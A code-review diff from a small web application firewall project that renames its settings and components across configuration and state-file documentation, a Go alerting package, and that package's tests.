- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
|
||||
- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
|
||||
- `SWWAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
|
||||
- `SWWAF_ANOMALY_CLIENT_BYTES_PER_HOUR`.
|
||||
|
||||
The other scopes' names have another prefix before the same four endings, such
|
||||
as `REQUESTS_PER_MINUTE`:
|
||||
|
||||
- `SWW_ANOMALY_NET_...`: per netblock around a client. Two settings give the
|
||||
- `SWWAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the
|
||||
netblock's length:
|
||||
- `SWW_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
|
||||
- `SWWAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
|
||||
client;
|
||||
- `SWW_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
|
||||
- `SWWAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
|
||||
client.
|
||||
- `SWW_ANOMALY_ASN_...`: per AS number.
|
||||
- `SWW_ANOMALY_TOTAL_...`: the whole service.
|
||||
- `SWW_WATCH_...`: each netblock in `SWW_WATCH_NETS`, as a whole.
|
||||
`SWW_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such as
|
||||
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
||||
- `SWWAF_ANOMALY_ASN_...`: per AS number.
|
||||
- `SWWAF_ANOMALY_TOTAL_...`: the whole service.
|
||||
- `SWWAF_WATCH_...`: each netblock in `SWWAF_WATCH_NETS`, as a whole.
|
||||
`SWWAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
|
||||
as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
||||
name, or with a bad netblock, is refused. So is a name used twice.
|
||||
|
||||
## Settings given as files
|
||||
@@ -376,9 +318,9 @@ Then mount its directory into the container read-only, and name the file:
|
||||
|
||||
```sh
|
||||
docker run \
|
||||
-v /srv/app/tokens:/etc/sww/tokens:ro \
|
||||
-e SWW_COMMAND=discriminator \
|
||||
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
|
||||
-v /srv/app/tokens:/etc/smallwebwaf/tokens:ro \
|
||||
-e SMALLWEBWAF_COMMAND=servewaf \
|
||||
-e SWWAF_METRICS_TOKEN_FILE=/etc/smallwebwaf/tokens/metrics \
|
||||
...
|
||||
```
|
||||
|
||||
@@ -391,42 +333,41 @@ A few limits are fixed rather than settings:
|
||||
- at most 1,000 DNS blocklist queries are under way at once;
|
||||
- at most 20,000 anomaly counters are kept;
|
||||
- each alert destination's queue holds at most 1,000 alerts;
|
||||
- `discriminator` holds at most 10,000 answered requests awaiting their reports;
|
||||
- `discriminator` refuses a request with more than 50 cookies or more than 100
|
||||
header fields (see "Answering in time" under "`discriminator`" in
|
||||
- `servewaf` holds at most 10,000 answered requests awaiting their reports;
|
||||
- `servewaf` refuses a request with more than 50 cookies or more than 100 header
|
||||
fields (see "Answering in time" under "`servewaf`" in
|
||||
[`SPEC.md`](../SPEC.md));
|
||||
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a
|
||||
kept-open connection idle for 120 seconds;
|
||||
- `rproxy` reads at most 1 MiB of the body of `discriminator`'s answer, and
|
||||
answers `502` to a longer one.
|
||||
- `rproxy` reads at most 1 MiB of the body of `servewaf`'s answer, and answers
|
||||
`502` to a longer one.
|
||||
|
||||
## `discriminator`'s answer and `rproxy`'s wait
|
||||
## `servewaf`'s answer and `rproxy`'s wait
|
||||
|
||||
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
|
||||
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
|
||||
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
|
||||
in the background (see "Answering in time" under "`discriminator`" in
|
||||
`SWWAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
|
||||
Keep it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question
|
||||
waits for `SWWAF_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are
|
||||
asked in the background (see "Answering in time" under "`servewaf`" in
|
||||
[`SPEC.md`](../SPEC.md)).
|
||||
|
||||
## `rproxy`
|
||||
|
||||
`sww rproxy` reads the settings below and no others. They are read once at
|
||||
start, and an invalid value stops the start. None can be given as a file, since
|
||||
`rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what
|
||||
they do.
|
||||
`smallwebwaf rproxy` reads the settings below and no others. They are read once
|
||||
at start, and an invalid value stops the start. None can be given as a file,
|
||||
since `rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says
|
||||
what they do.
|
||||
|
||||
A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||
|
||||
- `SWRP_WAF_BACKEND` (required, no default): `discriminator`'s URL. An `http` or
|
||||
- `SWRP_WAF_BACKEND` (required, no default): `servewaf`'s URL. An `http` or
|
||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
||||
speaks HTTP/1.1 to it.
|
||||
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
|
||||
`discriminator`'s answer, to a question and to a report. A time; never `off`.
|
||||
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `servewaf`'s
|
||||
answer, to a question and to a report. A time; never `off`.
|
||||
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
|
||||
`discriminator` cannot be connected to, does not answer at all, or does not
|
||||
answer within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny`
|
||||
answers `503`. It does not apply to an answer `discriminator` gives, such as
|
||||
an error.
|
||||
`servewaf` cannot be connected to, does not answer at all, or does not answer
|
||||
within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers
|
||||
`503`. It does not apply to an answer `servewaf` gives, such as an error.
|
||||
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
|
||||
`off`.
|
||||
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
|
||||
@@ -450,22 +391,22 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||
|
||||
## The image's command
|
||||
|
||||
`SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health
|
||||
check checks: `rproxy` or `discriminator` (see "Deployment" in
|
||||
`SMALLWEBWAF_COMMAND` (default `rproxy`) chooses what the image runs and what
|
||||
its health check checks: `rproxy` or `servewaf` (see "Deployment" in
|
||||
[`SPEC.md`](../SPEC.md)). It cannot be given as a file.
|
||||
|
||||
## Where earlier settings went
|
||||
|
||||
Nothing reads these names any more:
|
||||
|
||||
- `SWW_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
|
||||
- `SWW_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
|
||||
- `SWW_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
|
||||
- `SWW_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
|
||||
- `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are
|
||||
- `SWWAF_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
|
||||
- `SWWAF_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
|
||||
- `SWWAF_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
|
||||
- `SWWAF_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
|
||||
- `SWWAF_CLIENT_REQUEST_TIMEOUT` and `SWWAF_UPSTREAM_REQUEST_TIMEOUT` are
|
||||
`SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
|
||||
- `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are
|
||||
- `SWWAF_CLIENT_RESPONSE_TIMEOUT` and `SWWAF_UPSTREAM_RESPONSE_TIMEOUT` are
|
||||
`SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
|
||||
- `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no
|
||||
setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
|
||||
- `SWWAF_CLIENT_IDLE_TIMEOUT` and `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` have
|
||||
no setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
|
||||
takes a request line and headers of at most 32 KiB.
|
||||
+10
-11
@@ -1,13 +1,13 @@
|
||||
# State files
|
||||
|
||||
The five JSON files in `SWW_STATE_DIR`, and what each holds. "Persistent state"
|
||||
in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has
|
||||
a top-level `version` of 1.
|
||||
The five JSON files in `SWWAF_STATE_DIR`, and what each holds. "Persistent
|
||||
state" in [`SPEC.md`](../SPEC.md) says how they are written, read and edited.
|
||||
Each has a top-level `version` of 1.
|
||||
|
||||
## `bans.json`
|
||||
|
||||
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
|
||||
`discriminator` made. Per entry:
|
||||
Active and past bans: every ban an admin made, and up to `SWWAF_MAX_BANS` of
|
||||
those `servewaf` made. Per entry:
|
||||
|
||||
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
||||
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
||||
@@ -61,11 +61,10 @@ since it was first seen:
|
||||
- the first and last time seen;
|
||||
- the AS number, AS name and country last looked up, and when;
|
||||
- total requests, and how many were forwarded and how many refused;
|
||||
- body bytes of its requests, and of the responses it was sent;
|
||||
- bytes in each direction;
|
||||
- responses by status class;
|
||||
- offences by kind: `limit`, `attack`, `blocked_by_block_rule` and
|
||||
`blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
|
||||
kept, and which nothing adds to.
|
||||
- offences by kind: `limit`, `attack`, `rule_blocked` and `waf_blocked`. A file
|
||||
may also hold `token_refused`, which is kept, and which nothing adds to.
|
||||
|
||||
## `lookups.json`
|
||||
|
||||
@@ -94,10 +93,10 @@ GeoJS answers, one per line:
|
||||
## Sizes
|
||||
|
||||
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
||||
`SWW_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
|
||||
`SWWAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
|
||||
disk writes a day.
|
||||
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
|
||||
the default `SWW_MAX_BANS`. Written every 15 minutes, a full file comes to
|
||||
the default `SWWAF_MAX_BANS`. Written every 15 minutes, a full file comes to
|
||||
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
|
||||
more.
|
||||
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
||||
|
||||
+46
-48
@@ -1,12 +1,12 @@
|
||||
// Package alerts sends alerts on bans, on traffic over an anomaly
|
||||
// threshold, on a source that fails and on a file with an error to each
|
||||
// destination set: to the webhook
|
||||
// SWW_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
|
||||
// SWWAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
|
||||
// object" in docs/alerts.md describes, to the Slack incoming
|
||||
// webhook SWW_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
|
||||
// ntfy topic SWW_ALERT_NTFY_URL names. A repeat within
|
||||
// SWW_ALERT_COOLDOWN is held back, and so is an alert past
|
||||
// SWW_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
|
||||
// webhook SWWAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
|
||||
// ntfy topic SWWAF_ALERT_NTFY_URL names. A repeat within
|
||||
// SWWAF_ALERT_COOLDOWN is held back, and so is an alert past
|
||||
// SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
|
||||
// bounded queue of each destination's own, so that a destination that is
|
||||
// slow or unreachable holds up neither the others nor any request. The
|
||||
// state is written to alerts.json and read from it by the state package.
|
||||
@@ -34,45 +34,45 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// The events an alert is for, as SWW_ALERT_EVENTS names them.
|
||||
// The events an alert is for, as SWWAF_ALERT_EVENTS names them.
|
||||
const (
|
||||
// EventBan is a ban sww made.
|
||||
// EventBan is a ban smallwebwaf made.
|
||||
EventBan = "ban"
|
||||
// EventPermanentBan is a permanent ban sww made, or a ban it
|
||||
// EventPermanentBan is a permanent ban smallwebwaf made, or a ban it
|
||||
// made permanent.
|
||||
EventPermanentBan = "permanent_ban"
|
||||
// EventAnomaly is a count of requests or bytes over an anomaly
|
||||
// threshold.
|
||||
EventAnomaly = "anomaly"
|
||||
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
|
||||
// SWW_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
|
||||
// EventWAFBlock is a request the Core Rule Set scored at or over
|
||||
// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
|
||||
// detect mode.
|
||||
EventCoreRuleSetMatch = "core_rule_set_match"
|
||||
EventWAFBlock = "waf_block"
|
||||
// EventReputationHit is a request whose client a blocklist, the
|
||||
// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
|
||||
// is a hit.
|
||||
EventReputationHit = "reputation_hit"
|
||||
// EventSourceFailure is GeoJS failing or refusing sww, a fetch
|
||||
// EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch
|
||||
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
|
||||
// failing or refused, or the day's AbuseIPDB checks used up.
|
||||
EventSourceFailure = "source_failure"
|
||||
// EventFileError is a rule file or state file edited while sww
|
||||
// EventFileError is a rule file or state file edited while smallwebwaf
|
||||
// runs that does not parse, a replacement of the lookup database that
|
||||
// cannot be read, or a state file that cannot be written.
|
||||
EventFileError = "file_error"
|
||||
// EventSummary is the summary sent as an hour ends: of the alerts held
|
||||
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
|
||||
// back in it past SWWAF_ALERT_MAX_PER_HOUR, and of the repeats held
|
||||
// back by the cooldowns dropped as it ends, which no alert let through
|
||||
// has given. It is sent with SWW_ALERT_MAX_PER_HOUR off too, for
|
||||
// those repeats. SWW_ALERT_EVENTS does not name it.
|
||||
// has given. It is sent with SWWAF_ALERT_MAX_PER_HOUR off too, for
|
||||
// those repeats. SWWAF_ALERT_EVENTS does not name it.
|
||||
EventSummary = "summary"
|
||||
)
|
||||
|
||||
// Events returns every event SWW_ALERT_EVENTS can name, which is its
|
||||
// Events returns every event SWWAF_ALERT_EVENTS can name, which is its
|
||||
// default.
|
||||
func Events() []string {
|
||||
return []string{
|
||||
EventBan, EventPermanentBan, EventCoreRuleSetMatch, EventAnomaly,
|
||||
EventBan, EventPermanentBan, EventWAFBlock, EventAnomaly,
|
||||
EventReputationHit, EventSourceFailure, EventFileError,
|
||||
}
|
||||
}
|
||||
@@ -80,12 +80,12 @@ func Events() []string {
|
||||
// The destinations alerts are sent to, as the metrics and alerts.json
|
||||
// name them.
|
||||
const (
|
||||
// DestinationWebhook is the webhook SWW_ALERT_WEBHOOK_URL names.
|
||||
// DestinationWebhook is the webhook SWWAF_ALERT_WEBHOOK_URL names.
|
||||
DestinationWebhook = "webhook"
|
||||
// DestinationSlack is the Slack incoming webhook
|
||||
// SWW_ALERT_SLACK_WEBHOOK_URL names.
|
||||
// SWWAF_ALERT_SLACK_WEBHOOK_URL names.
|
||||
DestinationSlack = "slack"
|
||||
// DestinationNtfy is the ntfy topic SWW_ALERT_NTFY_URL names.
|
||||
// DestinationNtfy is the ntfy topic SWWAF_ALERT_NTFY_URL names.
|
||||
DestinationNtfy = "ntfy"
|
||||
)
|
||||
|
||||
@@ -121,26 +121,26 @@ var (
|
||||
// NtfyURL set, no alert is sent.
|
||||
type Params struct {
|
||||
// WebhookURL is where each alert is posted as JSON
|
||||
// (SWW_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
|
||||
// are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
|
||||
// (SWWAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
|
||||
// are sent with each (SWWAF_ALERT_WEBHOOK_HEADERS).
|
||||
WebhookURL *url.URL
|
||||
WebhookHeaders http.Header
|
||||
// SlackURL is the Slack incoming webhook each alert is posted to as a
|
||||
// message (SWW_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
|
||||
// message (SWWAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
|
||||
SlackURL *url.URL
|
||||
// NtfyURL is the ntfy topic each alert is published to
|
||||
// (SWW_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
|
||||
// empty, is sent with each as a bearer token (SWW_ALERT_NTFY_TOKEN).
|
||||
// (SWWAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
|
||||
// empty, is sent with each as a bearer token (SWWAF_ALERT_NTFY_TOKEN).
|
||||
NtfyURL *url.URL
|
||||
NtfyToken string
|
||||
// Events are the events alerts are sent for (SWW_ALERT_EVENTS).
|
||||
// Events are the events alerts are sent for (SWWAF_ALERT_EVENTS).
|
||||
Events []string
|
||||
// Cooldown is how long a repeat of an alert is held back
|
||||
// (SWW_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
|
||||
// sent in an hour (SWW_ALERT_MAX_PER_HOUR), 0 for no limit.
|
||||
// (SWWAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
|
||||
// sent in an hour (SWWAF_ALERT_MAX_PER_HOUR), 0 for no limit.
|
||||
Cooldown time.Duration
|
||||
MaxPerHour int
|
||||
// Instance is SWW_INSTANCE_NAME, which every alert gives.
|
||||
// Instance is SWWAF_INSTANCE_NAME, which every alert gives.
|
||||
Instance string
|
||||
// Now tells the time of an alert, normally time.Now in UTC.
|
||||
Now func() time.Time
|
||||
@@ -151,7 +151,7 @@ type Params struct {
|
||||
// Alert is one alert, as the webhook is sent it and alerts.json holds it,
|
||||
// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
|
||||
// Country are, for a ban, the client's as the ban's notes give them. Host is
|
||||
// the site of the request that raised the alert, while one discriminator serves
|
||||
// the site of the request that raised the alert, while one servewaf serves
|
||||
// many sites, and "" otherwise.
|
||||
//
|
||||
//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
|
||||
@@ -220,7 +220,7 @@ type State struct {
|
||||
// requests to it failed, and how many alerts were dropped from its full
|
||||
// queue or given up as it refused them.
|
||||
type Counts struct {
|
||||
Sent, SendFailures, Dropped int64
|
||||
Sent, Failed, Dropped int64
|
||||
}
|
||||
|
||||
// Queue takes the alerts raised, holds back those it must, and sends the
|
||||
@@ -264,7 +264,7 @@ type destination struct {
|
||||
// waiting are the alerts waiting to be sent, oldest first.
|
||||
waiting []*Alert
|
||||
|
||||
sent, sendFailures, dropped atomic.Int64
|
||||
sent, failed, dropped atomic.Int64
|
||||
}
|
||||
|
||||
// cooldownKey is what makes an alert a repeat of another: the same event
|
||||
@@ -301,17 +301,17 @@ func New(params Params) *Queue {
|
||||
}
|
||||
|
||||
if params.WebhookURL != nil {
|
||||
q.addDestination(DestinationWebhook, "SWW_ALERT_WEBHOOK_URL",
|
||||
q.addDestination(DestinationWebhook, "SWWAF_ALERT_WEBHOOK_URL",
|
||||
params.WebhookURL, q.webhookMessage)
|
||||
}
|
||||
|
||||
if params.SlackURL != nil {
|
||||
q.addDestination(DestinationSlack, "SWW_ALERT_SLACK_WEBHOOK_URL",
|
||||
q.addDestination(DestinationSlack, "SWWAF_ALERT_SLACK_WEBHOOK_URL",
|
||||
params.SlackURL, slackMessage)
|
||||
}
|
||||
|
||||
if params.NtfyURL != nil {
|
||||
q.addDestination(DestinationNtfy, "SWW_ALERT_NTFY_URL",
|
||||
q.addDestination(DestinationNtfy, "SWWAF_ALERT_NTFY_URL",
|
||||
params.NtfyURL, q.ntfyMessage)
|
||||
}
|
||||
|
||||
@@ -319,7 +319,7 @@ func New(params Params) *Queue {
|
||||
}
|
||||
|
||||
// Raise sends alert, which names its event and what is particular to it,
|
||||
// unless no destination is set or SWW_ALERT_EVENTS leaves its event
|
||||
// unless no destination is set or SWWAF_ALERT_EVENTS leaves its event
|
||||
// out. It gives alert the instance and the time. An alert that repeats
|
||||
// the last one let through less than Cooldown before is held back and
|
||||
// counted. The next one let through gives that count, unless an hour of
|
||||
@@ -363,7 +363,7 @@ func (q *Queue) Raise(alert Alert) {
|
||||
}
|
||||
|
||||
// WouldSend reports whether Raise would let an alert for event on
|
||||
// netblock through now: a destination is set, SWW_ALERT_EVENTS chooses
|
||||
// netblock through now: a destination is set, SWWAF_ALERT_EVENTS chooses
|
||||
// event, no alert for event on netblock was let through less than
|
||||
// Cooldown before, and fewer than MaxPerHour alerts have been let through
|
||||
// in the hour under way. Unlike Raise, it counts nothing.
|
||||
@@ -426,9 +426,7 @@ func (q *Queue) Counts(name string) Counts {
|
||||
for _, d := range q.destinations {
|
||||
if d.name == name {
|
||||
return Counts{
|
||||
Sent: d.sent.Load(),
|
||||
SendFailures: d.sendFailures.Load(),
|
||||
Dropped: d.dropped.Load(),
|
||||
Sent: d.sent.Load(), Failed: d.failed.Load(), Dropped: d.dropped.Load(),
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -608,13 +606,13 @@ func (q *Queue) endHour(now time.Time) {
|
||||
|
||||
if heldBack > 0 {
|
||||
reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
|
||||
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
|
||||
"past the %d an hour SWWAF_ALERT_MAX_PER_HOUR allows", heldBack,
|
||||
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
|
||||
}
|
||||
|
||||
if repeats > 0 {
|
||||
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
|
||||
"SWW_ALERT_COOLDOWN that no later alert gives", repeats))
|
||||
"SWWAF_ALERT_COOLDOWN that no later alert gives", repeats))
|
||||
}
|
||||
|
||||
if len(reasons) > 0 {
|
||||
@@ -677,7 +675,7 @@ func (d *destination) run(ctx context.Context) {
|
||||
retryAt = time.Time{}
|
||||
case errors.Is(err, errRefused):
|
||||
d.remove(alert)
|
||||
d.sendFailures.Add(1)
|
||||
d.failed.Add(1)
|
||||
d.dropped.Add(1)
|
||||
|
||||
retryDelay = 0
|
||||
@@ -685,8 +683,8 @@ func (d *destination) run(ctx context.Context) {
|
||||
|
||||
d.processLog.Warn("gave up an alert "+d.setting+" refused",
|
||||
"event", alert.Event, "error", err.Error())
|
||||
case ctx.Err() == nil: // not cut off as sww stops
|
||||
d.sendFailures.Add(1)
|
||||
case ctx.Err() == nil: // not cut off as smallwebwaf stops
|
||||
d.failed.Add(1)
|
||||
|
||||
retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
|
||||
maxRetryDelay)
|
||||
@@ -873,7 +871,7 @@ func ntfyPriority(event string) string {
|
||||
return "high"
|
||||
case EventReputationHit:
|
||||
return "low"
|
||||
default: // ban, core_rule_set_match and summary
|
||||
default: // ban, waf_block and summary
|
||||
return "default"
|
||||
}
|
||||
}
|
||||
@@ -884,7 +882,7 @@ func ntfyTag(event string) string {
|
||||
switch event {
|
||||
case EventBan, EventPermanentBan:
|
||||
return "no_entry"
|
||||
case EventCoreRuleSetMatch:
|
||||
case EventWAFBlock:
|
||||
return "shield"
|
||||
case EventAnomaly:
|
||||
return "chart_with_upwards_trend"
|
||||
|
||||
@@ -34,12 +34,12 @@ const (
|
||||
// webhookURL is where the alerts are posted, slackURL the Slack
|
||||
// incoming webhook, and ntfyURL the ntfy topic. ntfyToken is the ntfy
|
||||
// token of the tests that set one.
|
||||
webhookURL = "https://alerts.example/sww?team=ops"
|
||||
webhookURL = "https://alerts.example/smallwebwaf?team=ops"
|
||||
slackURL = "https://hooks.slack.example/services/T0123/B4567/abcdef"
|
||||
ntfyURL = "https://ntfy.example/sww-alerts"
|
||||
ntfyURL = "https://ntfy.example/smallwebwaf-alerts"
|
||||
ntfyToken = "tk_0123456789abcdefghijklmnopq"
|
||||
// instance is the instance name every alert gives.
|
||||
instance = "fsn1app1/blog"
|
||||
instance = "fsn1app1/gitea"
|
||||
// started is when each test starts, as an alert gives it, and
|
||||
// anHourOn an hour later.
|
||||
started = "2000-01-01T00:00:00Z"
|
||||
@@ -132,7 +132,7 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
|
||||
|
||||
if q.WouldSend(alerts.EventBan, netblock(1)) ||
|
||||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
|
||||
t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
|
||||
t.Error("a ban alert would be sent, though SWWAF_ALERT_EVENTS leaves it out")
|
||||
}
|
||||
|
||||
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
|
||||
@@ -184,8 +184,8 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
|
||||
onlyNtfy.NtfyURL = parseURL(ntfyURL)
|
||||
|
||||
for setting, params := range map[string]alerts.Params{
|
||||
"SWW_ALERT_SLACK_WEBHOOK_URL": onlySlack,
|
||||
"SWW_ALERT_NTFY_URL": onlyNtfy,
|
||||
"SWWAF_ALERT_SLACK_WEBHOOK_URL": onlySlack,
|
||||
"SWWAF_ALERT_NTFY_URL": onlyNtfy,
|
||||
} {
|
||||
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
|
||||
t.Errorf("a ban alert would not be sent with only %s set", setting)
|
||||
@@ -359,7 +359,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
|
||||
"as_name": "",
|
||||
"country": "",
|
||||
"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
||||
"past the 2 an hour SWW_ALERT_MAX_PER_HOUR allows",
|
||||
"past the 2 an hour SWWAF_ALERT_MAX_PER_HOUR allows",
|
||||
"detail": map[string]any{
|
||||
"hour": started,
|
||||
"count": float64(3),
|
||||
@@ -525,7 +525,7 @@ func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) {
|
||||
wantCounts(t, q, 0, int64(len(want)), 0, 0)
|
||||
|
||||
if !strings.Contains(log.String(),
|
||||
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) {
|
||||
`"msg":"sending an alert to SWWAF_ALERT_WEBHOOK_URL failed"`) {
|
||||
t.Errorf("process log %q names no failure", log.String())
|
||||
}
|
||||
|
||||
@@ -595,7 +595,7 @@ func TestRefusedAlertIsGivenUpAndTheNextSent(t *testing.T) {
|
||||
wantCounts(t, q, 1, 3, 0, 1)
|
||||
|
||||
if !strings.Contains(log.String(),
|
||||
`"msg":"gave up an alert SWW_ALERT_WEBHOOK_URL refused"`) {
|
||||
`"msg":"gave up an alert SWWAF_ALERT_WEBHOOK_URL refused"`) {
|
||||
t.Errorf("process log %q names no alert given up", log.String())
|
||||
}
|
||||
})
|
||||
@@ -619,7 +619,7 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
|
||||
|
||||
logged := log.String()
|
||||
if !strings.Contains(logged,
|
||||
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
|
||||
`"msg":"sending an alert to SWWAF_ALERT_WEBHOOK_URL failed"`) ||
|
||||
strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
|
||||
t.Errorf("process log %q names no failure, or names the URL", logged)
|
||||
}
|
||||
@@ -782,8 +782,8 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
|
||||
}
|
||||
|
||||
const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
||||
"past the 1 an hour SWW_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
|
||||
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
||||
"past the 1 an hour SWWAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
|
||||
"by SWWAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
||||
|
||||
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
|
||||
wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
|
||||
@@ -897,11 +897,11 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
||||
synctest.Wait()
|
||||
|
||||
wantDestinationCounts(t, q, alerts.DestinationSlack,
|
||||
alerts.Counts{Sent: 3, SendFailures: 1})
|
||||
alerts.Counts{Sent: 3, Failed: 1})
|
||||
|
||||
logged := log.String()
|
||||
if !strings.Contains(logged,
|
||||
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
|
||||
`"msg":"sending an alert to SWWAF_ALERT_SLACK_WEBHOOK_URL failed"`) ||
|
||||
strings.Contains(logged, "hooks.slack.example") ||
|
||||
strings.Contains(logged, "T0123") {
|
||||
t.Errorf("process log %q names no failure, or names the URL", logged)
|
||||
@@ -934,7 +934,7 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
|
||||
for destination, want := range map[string]alerts.Counts{
|
||||
alerts.DestinationWebhook: {Sent: all},
|
||||
alerts.DestinationSlack: {Dropped: 1},
|
||||
alerts.DestinationNtfy: {SendFailures: all, Dropped: all},
|
||||
